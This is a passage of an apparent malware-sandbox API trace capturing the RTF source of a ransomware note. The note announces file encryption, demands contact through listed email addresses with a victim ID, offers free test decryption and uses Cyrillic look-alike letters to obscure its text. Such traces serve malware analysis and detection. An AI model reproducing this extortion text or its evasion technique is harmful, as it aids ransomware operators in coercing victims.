PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd 